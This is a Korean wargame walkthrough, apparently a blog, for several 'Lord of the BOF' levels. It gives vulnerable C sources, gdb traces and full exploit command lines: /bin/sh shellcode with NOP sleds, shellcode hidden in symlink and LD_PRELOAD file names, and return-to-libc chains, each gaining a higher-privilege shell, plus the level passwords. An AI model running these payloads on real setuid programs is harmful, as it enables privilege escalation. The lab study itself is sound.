0x8048511 <main+17>:	call   0x8048410 <printf>
0x8048516 <main+22>:	add    $0x4,%esp
0x8048519 <main+25>:	push   $0x0
0x804851b <main+27>:	call   0x8048420 <exit>
0x8048520 <main+32>:	add    $0x4,%esp
0x8048523 <main+35>:	mov    0xc(%ebp),%eax
0x8048526 <main+38>:	mov    (%eax),%edx
0x8048528 <main+40>:	push   %edx
0x8048529 <main+41>:	call   0x80483f0 <strlen>
0x804852e <main+46>:	add    $0x4,%esp
0x8048531 <main+49>:	mov    %eax,%eax
0x8048533 <main+51>:	cmp    $0x4d,%eax
0x8048536 <main+54>:	je     0x8048550 <main+80>
0x8048538 <main+56>:	push   $0x804869c
0x804853d <main+61>:	call   0x8048410 <printf>
0x8048542 <main+66>:	add    $0x4,%esp
0x8048545 <main+69>:	push   $0x0
0x8048547 <main+71>:	call   0x8048420 <exit>
0x804854c <main+76>:	add    $0x4,%esp
0x804854f <main+79>:	nop    
0x8048550 <main+80>:	nop    
0x8048551 <main+81>:	movl   $0x0,0xffffffd4(%ebp)
0x8048558 <main+88>:	mov    0xffffffd4(%ebp),%eax
---Type <return> to continue, or q <return> to quit---q
Quit
(gdb) b *main+6
Breakpoint 1 at 0x8048506
(gdb) r `python -c 'print "\xbf"*48'` `python -c 'print "A"*425'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/darkelf/BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB `python -c 'print "\xbf"*48'` `python -c 'print "A"*425'`

Breakpoint 1, 0x8048506 in main ()
(gdb) x/wx $ebp+0xc
0xbffff8b4:	0xbffff8f4
(gdb) x/wx 0xbffff8f4+8
0xbffff8fc:	0xbffffa72
(gdb) x/s 0xbffffa72
0xbffffa72:	 'A' <repeats 200 times>...

argv[2]의 주소는 0xbffffa72 임을 알 수 있다.

argv[1] = “A”*44 (dummy byte) +”\x72\xfa\xff\xbf” (shellcode addr)

argv[2] = “\x90”200 (Nop Sled) +”\x90”200+”\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80” (shellcode) +”\x90”*200 (Nop Sled)

[darkelf@localhost darkelf]$ ~/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA `python -c 'print "A"*44+"\x72\xfa\xff\xbf"'` `python -c 'print "\x90"*200+"\x90"*200+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x90"*200'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAr?
bash$ id
uid=506(darkelf) gid=506(darkelf) euid=507(orge) egid=507(orge) groups=506(darkelf)
bash$ my-pass
euid = 507
timewalker

orge

password is timewalker

Problem

[orge@localhost orge]$ cat troll.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - troll
        - check argc + argv hunter
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
	char buffer[40];
	int i;

	// here is changed
	if(argc != 2){
		printf("argc must be two!\n");
		exit(0);
	}

	// egghunter
	for(i=0; environ[i]; i++)
		memset(environ[i], 0, strlen(environ[i]));

	if(argv[1][47] != '\xbf')
	{
		printf("stack is still your friend.\n");
		exit(0);
	}

	// check the length of argument
	if(strlen(argv[1]) > 48){
		printf("argument is too long!\n");
		exit(0);
	}

	strcpy(buffer, argv[1]);
	printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);

	// one more!
	memset(argv[1], 0, strlen(argv[1]));
}

Solution

많은 부분이 막혀있다. 환경변수도 제거되고 buffer의 앞부분도 제거되고 argv[1] 또한 제거된다. 점프를 할 수 있는 영역은 stack 영역으로 고정되어있다.

이 문제의 경우 이전 문제에서 힌트가 있다. 전 문제에서 symbolic link를 통해 argv[0]을 바꿀 수 있다는 것을 보았다. 즉 argv[0]에 쉘코드를 넣으면 된다.

ln -s "troll" `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x74\x6d\x70\x89\xe3\x50\x53"'`
ln: cannot create symbolic link `1픐h//shh/bin??S' to `troll': No such file or directory

그러나 에러가 나는 모습을 확인할 수 있다. 이는 링크 걸 파일 이름에 “/” 가 있어서 생기는 오류이다.

이걸 해결하기위해 / 단위로 디렉토리와 링크 파일을 만들어주어야한다.

하지만 사용하는 쉘코드를 보면 /가 2번 연속되어있는 구간이 있다. 이걸 해결하기 위해 쉘코드를 약간 수정하여 /tmp/1sh를 실행하도록 바꾼 뒤 /bin/sh을 /tmp/1sh로 심볼릭 링크 걸어줄 것이다.

변형된 쉘코드는 \x90200 + \x31\xc0\x50\x68\x2f\x31\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80 + \x90200 이고 이를 / (\x2f) 단위로 끊어서 디렉토리 \x90200 + \x31\xc0\x50\x68 밑에 디렉토리 \x31\x73\x68\x68 밑에 링크파일 \x74\x6d\x70\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80 + \x90200 를 만들 것이다.

[orge@localhost orge]$ mkdir `python -c 'print "\x90"*200+"\x31\xc0\x50\x68"'`
[orge@localhost orge]$ cd `python -c 'print "\x90"*200+"\x31\xc0\x50\x68"'`
[orge@localhost ????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????1픐h]$ mkdir `python -c 'print "\x31\x73\x68\x68"'`
[orge@localhost ????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????1픐h]$ cd 1shh/
[orge@localhost 1shh]$ cp ~/troll ~/trol2
[orge@localhost 1shh]$ ln -s ~/trol2 `python -c 'print "\x74\x6d\x70\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + "\x90"*200'`

gdb를 붙여보기 위해 troll이 아닌 trol2로 복사한 뒤 링크를 했다. gdb를 통해 쉘코드의 주소를 알아보자.

(gdb) r python -c 'print "A"*48' Starting program: /home/orge/????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????1픐h/1shh/tmp??S??柰 ????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? python -c 'print "A"*48'

Breakpoint 1, 0x8048506 in main () (gdb) x/x $ebp+0xc 0xbffff6d4: 0xbffff714 (gdb) x/wx 0xbffff714 0xbffff714: 0xbffff812 (gdb) x/s 0xbffff812 0xbffff812: “/home/orge/”, ‘\220’ <repeats 189 times>… (gdb) x/50bx 0xbffff812 0xbffff812: 0x2f 0x68 0x6f 0x6d 0x65 0x2f 0x6f 0x72 0xbffff81a: 0x67 0x65 0x2f 0x90 0x90 0x90 0x90 0x90 0xbffff822: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff82a: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff832: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff83a: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff842: 0x90 0x90

쉘코드의 시작주소는 0xBFFFF81D이고 앞의 놉슬레드 중간 지점은 대략 0xBFFFF81D+100 = 0xBFFFF881이다.

링크를 troll로 바꾸고 eip를 0xbffff881로 바꾸면 쉘을 얻을 수 있을 것이다.

gdb와 실제 주소가 달라 에러가 발생하는데 core를 이용해 디버깅을 해보면 쉘코드 위치가 0xbfffe52 ~~ 임을 알 수 있다. 이를 이용해 0xbffffe96로 뛰게 수정하면 쉘을 얻을 수 있다. (core를 얻으려면 디버깅 권한이 있는 trol2 바이너리를 대상으로 실행하여 Segmentation Fault를 만들어야한다.)

[orge@localhost 1shh]$ ln -s ~/troll `python -c 'print "\x74\x6d\x70\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + "\x90"*200'`
[orge@localhost 1shh]$ $PWD/tmp??S??柰^K????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? `python -c 'print "A"*44+"\x95\xfe\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA??
1sh: /home/orge/.bashrc: Permission denied
bash$ id
uid=507(orge) gid=507(orge) euid=508(troll) egid=508(troll) groups=507(orge)
bash$ my-pass
euid = 508
aspirin

troll

password is aspirin

Problem

[troll@localhost troll]$ cat vampire.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - vampire
        - check 0xbfff
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
	char buffer[40];

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	if(argv[1][47] != '\xbf')
	{
		printf("stack is still your friend.\n");
		exit(0);
	}

        // here is changed!
        if(argv[1][46] == '\xff')
        {
                printf("but it's not forever\n");
                exit(0);
        }

	strcpy(buffer, argv[1]);
	printf("%s\n", buffer);
}

Solution

간단하게 argv를 크게 주어서 스택 영역을 늘려서 주소를 0xbfff가 아니게 만들면 쉽게 해결할 수 있다.

(gdb) b *main+6
Breakpoint 3 at 0x8048436
(gdb) r `python -c 'print "A"*44+"\x30\x30\xfe\xbf"+"\x90"*32768+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x90"*32768'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/troll/vampir2 `python -c 'print "A"*44+"\x30\x30\xfe\xbf"+"\x90"*32768+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x90"*32768'`

Breakpoint 3, 0x8048436 in main ()
(gdb) x/x $ebp
0xbffefac8:	0xbffefae8
(gdb) x/x $ebp+0xc
0xbffefad4:	0xbffefb14
(gdb) x/wx 0xbffefb14
0xbffefb14:	0xbffefc06
(gdb) x/wx 0xbffefb18
0xbffefb18:	0xbffefc1a
(gdb) x/s 0xbffefc1a
0xbffefc1a:	 'A' <repeats 44 times>, "00", '\220' <repeats 152 times>...

argv[1]의 길이를 0x10000보다 크게 주어서 주소를 0xbfff로 시작하는 것이 아니라 0xbffe로 시작하도록 변형했다. 이를 통해 쉘코드 주소를 대략 0xbffefd30으로 뛰면 놉슬레드를 통해 쉘을 획득 할 수 있다.

~/vampire `python -c 'print "A"*44+"\x30\xfd\xfe\xbf"+"\x90"*32768+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x90"*32768'`

bash$ id
uid=508(troll) gid=508(troll) euid=509(vampire) egid=509(vampire) groups=508(troll)
bash$ my-pass
euid = 509
music world

vampire

password is music world

Problem

[vampire@localhost vampire]$ cat skeleton.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - skeleton
        - argv hunter
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
	char buffer[40];
	int i, saved_argc;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// egghunter
	for(i=0; environ[i]; i++)
		memset(environ[i], 0, strlen(environ[i]));

	if(argv[1][47] != '\xbf')
	{
		printf("stack is still your friend.\n");
		exit(0);
	}

	// check the length of argument
	if(strlen(argv[1]) > 48){
		printf("argument is too long!\n");
		exit(0);
	}

	// argc saver
	saved_argc = argc;

	strcpy(buffer, argv[1]);
	printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);

	// ultra argv hunter!
	for(i=0; i<saved_argc; i++)
		memset(argv[i], 0, strlen(argv[i]));
}

Solution

cp skeleton skeleto2
ln -s skeleto2 `python -c 'print "A"*100'`

을 통해 gdb로 A*100을 분석해보자.

(gdb) b *main+368
Breakpoint 1 at 0x8048670
(gdb) b *main+6  
Breakpoint 2 at 0x8048506
(gdb) r 123
Starting program: /home/vampire/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 123

Breakpoint 2, 0x8048506 in main ()
(gdb) x/x $ebp
0xbffffa38:	0xbffffa58
(gdb) x/x $ebp+0xc
0xbffffa44:	0xbffffa84
(gdb) x/wx 0xbffffa84
0xbffffa84:	0xbffffb80
(gdb) x/s 0xbffffb80
0xbffffb80:	 "/home/vampire/", 'A' <repeats 100 times>
(gdb) x/s 0xbfffff20
0xbfffff20:	 "ZE=1000"
(gdb)
0xbfffff28:	 "TERM=xterm"
(gdb)
0xbfffff33:	 "HOME=/home/vampire"
(gdb)
0xbfffff46:	 "PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/vampire/bin"
(gdb)
0xbfffff89:	 "/home/vampire/", 'A' <repeats 100 times>
(gdb)

gdb를 통해 메모리를 보면 실행되는 프로그램 이름 argv[0]이 argv[0] 뿐만아니라 스택의 끝에도 있음을 볼 수 있다.

이 스택 끝에 저장되는 프로그램 이름은 심볼릭 링크로 변경할 수 있으며 argv, envp 등에 의해 삭제되지 않는다. 즉 orge와 비슷하게 풀어낼 수 있다.

사용할 쉘코드는 다음과 같다. /tmp/1sh 를 실행하는 쉘코드이다. \x90200 + \x31\xc0\x50\x68\x2f\x31\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80 + \x90200

이고 이를 / (\x2f) 단위로 끊어서 디렉토리 \x90200 + \x31\xc0\x50\x68 밑에 디렉토리 \x31\x73\x68\x68 밑에 링크파일 \x74\x6d\x70\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80 + \x90200

[vampire@localhost vampire]$ mkdir `python -c 'print "\x90"*200+"\x31\xc0\x50\x68"'`
[vampire@localhost vampire]$ cd `python -c 'print "\x90"*200+"\x31\xc0\x50\x68"'`
[vampire@localhost ????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????1픐h]$ mkdir `python -c 'print "\x31\x73\x68\x68"'`
[vampire@localhost ????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????1픐h]$ cd 1shh/
[vampire@localhost 1shh]$ ln -s ~/skeleto2 `python -c 'print "\x74\x6d\x70\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + "\x90"*200'`

gdb로 쉘코드의 주소를 알아보자.

(gdb) b *main+368
Breakpoint 1 at 0x8048670
(gdb) r `python -c 'print "\xbf"*48'`

(gdb)
0xbffffe44:	 "/home/vampire/", '\220' <repeats 186 times>...

약 0xbffffe52 + 100 = 0xbffffeb6에 있다고 가정하고 eip를 변경하면 쉘을 얻을 수 있다.

[vampire@localhost 1shh]$ ln -s ~/skeleton `python -c 'print "\x74\x6d\x70\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + "\x90"*200'`
[vampire@localhost 1shh]$ $PWD/tmp??S??柰^K????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? `python -c 'print "A"*44+"\xb6\xfe\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA랗
1sh: /home/vampire/.bashrc: Permission denied
bash$ id
uid=509(vampire) gid=509(vampire) euid=510(skeleton) egid=510(skeleton) groups=509(vampire)
bash$ my-pass
euid = 510
shellcoder

skeleton

password is shellcoder

Problem

[skeleton@localhost skeleton]$ cat golem.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - golem
        - stack destroyer
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
	char buffer[40];
	int i;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	if(argv[1][47] != '\xbf')
	{
		printf("stack is still your friend.\n");
		exit(0);
	}

	strcpy(buffer, argv[1]);
	printf("%s\n", buffer);

        // stack destroyer!
        memset(buffer, 0, 44);
	memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));
}

Solution

LD_PRELOAD, LD_LIBRARY_PATH 는 스택 영역인데 스택 뒤쪽이 아님;

[skeleton@localhost skeleton]$ cat > attack.c
[skeleton@localhost skeleton]$ gcc attack.c -fPIC -shared -o attack.so

아무것도 없는 so파일을 만들고 이걸 orge 때 처럼 shellcode를 담도록 파일을 이동시켜서 LD_PRELOAD가 쉘코르를 포함하도록 등록하자.

[skeleton@localhost skeleton]$ mkdir `python -c 'print "\x90"*200+"\x31\xc0\x50\x68"'`
[skeleton@localhost skeleton]$ cd `python -c 'print "\x90"*200+"\x31\xc0\x50\x68"'`
[skeleton@localhost ????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????1픐h]$ mkdir `python -c 'print "\x31\x73\x68\x68"'`
[skeleton@localhost ????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????1픐h]$ cd 1shh/
[skeleton@localhost 1shh]$ mv ~/attack.so `python -c 'print "\x74\x6d\x70\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + "\x90"*200'`.so
[skeleton@localhost 1shh]$ export LD_PRELOAD="/home/skeleton/????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????1픐h/1shh/tmp??S??柰^K?????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????.so"

gdb로 쉘코드의 위치를 찾아보자.

(gdb) x/s 0xbffff350
0xbffff350:	 "/home/skeleton/", '\220' <repeats 23 times>, "s ?"

쉘코드의 위치는 대략 0xBFFFF3C3이다.

core가 발생하여 gdb로 분석하면 gdb가 아닌 진짜 주소는 0xbffff2ff 쯤에 있는 것을 알 수 있다.

이렇게 하면 쉘코드가 중간에 깨져서 오류가 난다. 이유는 정확히 모르겠으나 printf 하면서 쉘코드 중간에 이상한 숫자가 끼어들어간다. 이를 해결하기 위해 so 파일이름에서 뒷부분 Nop 크기를 100으로 줄이고 진행했다.

[skeleton@localhost 1shh]$ mv `python -c 'print "\x74\x6d\x70\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + "\x90"*200'`.so `python -c 'print "\x74\x6d\x70\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + "\x90"*100'`.so
0xbffff4e8:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xbffff4f0:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xbffff4f8:	0x90	0x90	0x90	0x31	0xc0	0x50	0x68	0x2f
0xbffff500:	0x31	0x73	0x68	0x68	0x2f	0x74	0x6d	0x70
0xbffff508:	0x89	0xe3	0x50	0x53	0x89	0xe1	0x31	0xd2
0xbffff510:	0xb0	0x0b	0xcd	0x80

0xbffff4c0로 뛰도록해보자.

core를 이용해 디버깅을 한 뒤 0xbffff4b0으로 뛰도록 하자.

[skeleton@localhost skeleton]$ /home/skeleton/golem `python -c 'print "A"*44+"\xb0\xf4\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA곯
1sh: /home/skeleton/.bashrc: Permission denied
bash$ id
uid=510(skeleton) gid=510(skeleton) euid=511(golem) egid=511(golem) groups=510(skeleton)
bash$ my-pass
euid = 511
cup of coffee

golem

password is cup of coffee

Problem

[golem@localhost golem]$ cat darkknight.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - darkknight
        - FPO
*/

#include <stdio.h>
#include <stdlib.h>

void problem_child(char *src)
{
	char buffer[40];
	strncpy(buffer, src, 41);
	printf("%s\n", buffer);
}

main(int argc, char *argv[])
{
	if(argc<2){
		printf("argv error\n");
		exit(0);
	}

	problem_child(argv[1]);
}

[golem@localhost golem]$ /home/golem/darkknigh2 `python -c 'print "AAAA"+"\xa0\xfa\xff\xbf"+"\x90"*7+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\xa4"'`
AAAA?퓧??????1픐h//shh/bin??S??柰
                                     ?ㆊ퓹??욤?옹	@
Segmentation fault (core dumped

core를 이용해 분석하면 쉘코드의 위치를 정확히 알 수 있고 그에 따라 주소를 세팅해주면 된다.

              |   esp   |   ebp   |   eip  |
--------------------------------------------
leave         |  정상   |   변조   |  정상  |
--------------------------------------------
ret           |  정상   |   변조   |  정상  |
--------------------------------------------
add esp, 4    |  정상   |   변조   |  정상  |
--------------------------------------------
leave         | 변조+4  |  [변조]  |  정상  |
--------------------------------------------
ret           | 변조+8  |  [변조]  |[변조+4]|
--------------------------------------------
각 명령어가 끝난 뒤 레지스터의 상태이다 정상은 bof가 일어나지 않았을 경우와 같다는 것을 의미한다.
[golem@localhost golem]$ /home/golem/darkknight `python -c 'print "AAAA"+"\x9c\xfa\xff\xbf"+"\x90"*7+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x94"'`
AAAA??퓧??????1픐h//shh/bin??S??柰
                                     ???퓹??욤?옹	@
bash$ id
uid=511(golem) gid=511(golem) euid=512(darkknight) egid=512(darkknight) groups=511(golem)
bash$ my-pass
euid = 512
new attacker

darkknight

password is new attacker

Problem

[darkknight@localhost darkknight]$ cat bugbear.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - bugbear
        - RTL1
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
	char buffer[40];
	int i;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	if(argv[1][47] == '\xbf')
	{
		printf("stack betrayed you!!\n");
		exit(0);
	}

	strcpy(buffer, argv[1]);
	printf("%s\n", buffer);
}

Solution

RTL을 이용하는 문제이다. system(“/bin/sh”); 을 실행하도록 bof를 일으킬 것이며 “/bin/sh” 문자열은 argv[2]를 통해 전달해줄 것이다.

payload는 ‘A’*44 (dummy) + system 주소 + AAAA (dummy) + argv[2] 주소 이렇게 꾸며질 것이다.

gdb를 통해 system 주소와 argv[2]의 주소를 구해보자

(gdb) b *main+6
Breakpoint 1 at 0x8048436
(gdb) r `python -c 'print "A"*56'` /bin/sh     
Starting program: /home/darkknight/bugbea2 `python -c 'print "A"*56'` /bin/sh

Breakpoint 1, 0x8048436 in main ()
(gdb) print system
$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>
(gdb) x/x $ebp+12
0xbffffaa4:	0xbffffae4
(gdb) x/x 0xbffffae4+8
0xbffffaec:	0xbffffc34
(gdb) x/s 0xbffffc34
0xbffffc34:	 "/bin/sh"

구성된 payload는 다음과 같다. /home/darkknight/bugbea2 python -c 'print "A"*44+"\xe0\x8a\x05\x40"+"AAAA"+"\x34\xfc\xff\xbf"' /bin/sh

[darkknight@localhost darkknight]$ /home/darkknight/bugbea2 `python -c 'print "A"*44+"\xe0\x8a\x05\x40"+"AAAA"+"\x34\xfc\xff\xbf"'` /bin/sh
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?@AAAA4?
sh: t: command not found
Segmentation fault (core dumped)

system (“t”); 가 실행되어 sh: t: command not found 가 나오는 모습을 볼 수 있다. 이를 통해 system의 인자로 넘어간 문자열의 주소가 잘못된 것을 알 수 있따. 만들어진 core를 통해 /bin/sh 즉 argv[2]의 다시 계산해서 넣어주면 될 것이다.

(gdb)
0xbffffc19:	 "/bin/sh"

core를 통해 분석한 argv[2]의 주소는 0xbffffc19이다. 이를 반영하여 payload를 구성하면 /home/darkknight/bugbea2 python -c 'print "A"*44+"\xe0\x8a\x05\x40"+"AAAA"+"\x19\xfc\xff\xbf"' /bin/sh이다.

[darkknight@localhost darkknight]$ /home/darkknight/bugbea2 `python -c 'print "A"*44+"\xe0\x8a\x05\x40"+"AAAA"+"\x19\xfc\xff\xbf"'` /bin/sh
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?@AAAA?\
bash$ exit
exit
Segmentation fault (core dumped)
[darkknight@localhost darkknight]$ /home/darkknight/bugbear `python -c 'print "A"*44+"\xe0\x8a\x05\x40"+"AAAA"+"\x19\xfc\xff\xbf"'` /bin/sh
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?@AAAA?
bash$ id    
uid=512(darkknight) gid=512(darkknight) euid=513(bugbear) egid=513(bugbear) groups=512(darkknight)
bash$ my-pass
euid = 513
new divide

bugbear

password is new divide

Problem

[bugbear@localhost bugbear]$ cat giant.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - giant
        - RTL2
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

main(int argc, char *argv[])
{
	char buffer[40];
	FILE *fp;
	char *lib_addr, *execve_offset, *execve_addr;
	char *ret;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// gain address of execve
	fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'", "r");
	fgets(buffer, 255, fp);
	sscanf(buffer, "(%x)", &lib_addr);
	fclose(fp);

	fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r");
	fgets(buffer, 255, fp);
	sscanf(buffer, "%x", &execve_offset);
	fclose(fp);

	execve_addr = lib_addr + (int)execve_offset;
	// end

	memcpy(&ret, &(argv[1][44]), 4);
	if(ret != execve_addr)
	{
		printf("You must use execve!\n");
		exit(0);
	}

	strcpy(buffer, argv[1]);
	printf("%s\n", buffer);
}

Solution

문제 조건에 의해 system이 아닌 execve를 이용해야한다.

(gdb) print execve
$1 = {<text variable, no debug info>} 0x400a9d48 <__execve>

이전 풀이처럼 접근했을 경우 한가지 문제점이 존재하는데 argv[2]로 주어진 /bin/sh의 주소를 찾기 위해 core를 분석해야하는데 이 문제의 경우 giant 권한으로 assasin 바이너리를 사용하기 때문에 core를 분석할 수 없다. 이를 해결하기 위해 system 함수 내부에서 사용하는 /bin/sh 문자열의 위치를 파악해야한다.

  • system 함수는 /bin/sh -c “명령어” 의 형식으로 실행되기 때문에 내부에 /bin/sh 라는 문자열을 내포하고 있다. 이 문자열의 주소를 찾는 방법은 다음과 같다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include<stdio.h>
#include<stdlib.h>

int main(void)
{
	void *binsh = 0x40058ae0; // offset of system function
	while(1)
	{
		if(memcmp(binsh, "/bin/sh", 8)==0)
			break;
		binsh++;
	}
	printf("%p = %s\n",binsh,binsh);
}

이 소스를 컴파일하여 실행해보면 다음과 같은 결과를 얻을 수 있다. 0x400fbff9 = /bin/sh

즉 /bin/sh는 0x400fbff9에 있다는 것이다.

execve는 인자를 3개나 넘겨야 하는 불편함이 있다. 이를 해결하기 위해 간단한 RTl Chain을 이용하여 system 함수를 호출할 것이다.

(gdb) print system
$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>

stack 구조는 다음과 같다.

낮은 주소
              |   esp   |
-------------------------
mainret       | &execve |
-------------------------
execveret     | &system |
-------------------------
systemret     | dummy   |
-------------------------
system argv1  | &/bin/sh|
-------------------------
높은 주소

mainret 다음 주소가 execveret 인 이유는 main에서 ret을 했을 때 esp가 가리키고 있는 주소는 execveret 위치일 것이고 이것은 execve 함수 내부에서는 call을 했을 때 쌓인 ret address라고 생각할 것이기 때문이다.

payload 를 구성하면 다음과 같다.

“A”*44 (dummy) + execve 주소 + system 주소 + “AAAA” + /bin/sh 주소

/home/bugbear/giant “python -c 'print "A"*44+"\x48\x9d\x0a\x40"+"\xe0\x8a\x05\x40"+"AAAA"+"\xf9\xbf\x0f\x40"'

여기서 문제점이 있는데 “\x0a” 는 엔터로 문자열의 끝을 의미한다. 따라서 argv[1] 전체를 “” 로 묶어주어야한다.

[bugbear@localhost bugbear]$ /home/bugbear/giant "`python -c 'print "A"*44+"\x48\x9d\x0a\x40"+"\xe0\x8a\x05\x40"+"AAAA"+"\xf9\xbf\x0f\x40"'`"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH?
@?@AAAA廈@
bash$ id     
uid=513(bugbear) gid=513(bugbear) euid=514(giant) egid=514(giant) groups=513(bugbear)
bash$ my-pass
euid = 514
one step closer

giant

password is one step closer

Problem

[giant@localhost giant]$ cat assassin.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - assassin
        - no stack, no RTL
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
	char buffer[40];

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	if(argv[1][47] == '\xbf')
	{
		printf("stack retbayed you!\n");
		exit(0);
	}

        if(argv[1][47] == '\x40')
        {
                printf("library retbayed you, too!!\n");
                exit(0);
        }

	strcpy(buffer, argv[1]);
	printf("%s\n", buffer);

        // buffer+sfp hunter
        memset(buffer, 0, 44);
}

Solution

